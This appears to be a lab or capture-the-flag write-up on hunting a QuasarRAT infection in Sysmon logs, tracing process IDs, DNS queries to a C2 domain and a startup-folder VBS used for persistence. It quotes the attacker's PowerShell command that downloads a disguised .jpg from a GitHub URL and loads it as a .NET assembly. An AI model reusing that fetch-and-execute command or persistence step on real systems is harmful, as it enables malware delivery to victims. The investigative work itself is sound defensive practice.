Astronomical

There isn’t a whole lot that screams bad in the VT Hunting dashboard, but MSBuild.exe making a query to ip-api[dot]com is definitely odd. It should be noted that https://ip-api[dot]com/ itself isn’t malicious and so the VirusTotal hits are likely due to it being used by malicious things. It’s not uncommon to see malware use similar services to determine information about its host’s public IP (or to check if it’s in a sandbox).

As is tradition, it’s time to pin the query for ip-api[dot]com and pivot to Discover, which allows us to identify the process ID (PID) associated to the MSBuild.exe execution as 1308.

From there, we can create a filter for winlog.event_data.ProcessId using is one of and adding 1308, which is the first PID we’ve identified. If you remove the pinned ip-api[dot]com filter from the Dashboard, you should get all of the events associated to PID 1308, including its process create (event 1). In its proess create, you should see its Parent PID was 6644, which you can add to the is one of filter. Repeating these steps, you should end up with a filter containing PIDs 1308, 6644, 6012 and 132.

Adding a filter for winlog.event_id and 22 will return only the DNSEvent logs captured, which provides the other queries:

• 2020-12-26T19:26:30.564Z
  • PID: 1308
  • Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  • Query Name: aptzebi.myq-see[dot]com
• 2020-12-26T19:26:04.051Z
  • PID: 6644
  • Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  • Query Name: raw.githubusercontent[dot]com

A good place to try to find full URLs is in command line arguments. Luckily, we already did the legwork to identify all the PIDs in the previous question, so let’s just change our filter on winlog.event_id from 22 to 1 and get the process creates (which will show the command lines used). If we look at the command line for the powershell.exe process:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $f='C:\Users\Public\Music\xt.jpg'; Invoke-WebRequest 'https://raw.githubusercontent[dot]com/githubuser2x/x/master/New.jpg' -outfile $f ;[System.Reflection.Assembly]::loadfile($f);[axx.bxx]::cxx()

We can see the GitHub URL was https://raw.githubusercontent[dot]com/githubuser2x/x/master/New.jpg

Keeping the process create filter on from the previous question, we can see the process that caused this activity appears to be PID 6012, which had the command line "C:\Windows\System32\WScript.exe" "C:\Users\vagrant\Downloads\RJ27.vbs" and was run at 2020-12-26T19:26:01.639Z by the vagrant user on the vagrant-10 workstation.

Based on the logs that were captured, we can see the wscript.exe process (PID 6012) creates C:\Users\vagrant\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RJ27.vbs at 2020-12-26T19:26:16.965Z. This means that on boot or logon, RJ27.vbs will be run.

Since a malicious execution and hash weren’t directly captured (i.e. the malicious file itself wasn’t directly launched), it’s more challenging to determine exactly what it might have been. However, with a bit of searching for https://raw.githubusercontent[dot]com/githubuser2x/x/master/New.jpg you should get a few results, including these from Malware Bazaar:

https://bazaar.abuse.ch/sample/f1afcbbd219edc56641787aee26420e55a8ab7f088dc900a146361733698c6da/

https://bazaar.abuse.ch/sample/6f3c875ea507bfa07f6631e193d59eaabde66853648798151bb711bf5bbcaef8/

Which have signature hits for QuasarRAT. Quasar is actually an open source remote administration tool (RAT) for Windows with its code available on GitHub. If you happen to do some more digging, you may also come across this report from CISA, which describes the ip-api[dot]com behavior too.

It’s worth noting that if you look at the source code now, Quasar has switched to using api.ipify[dot]org for this behavior instead.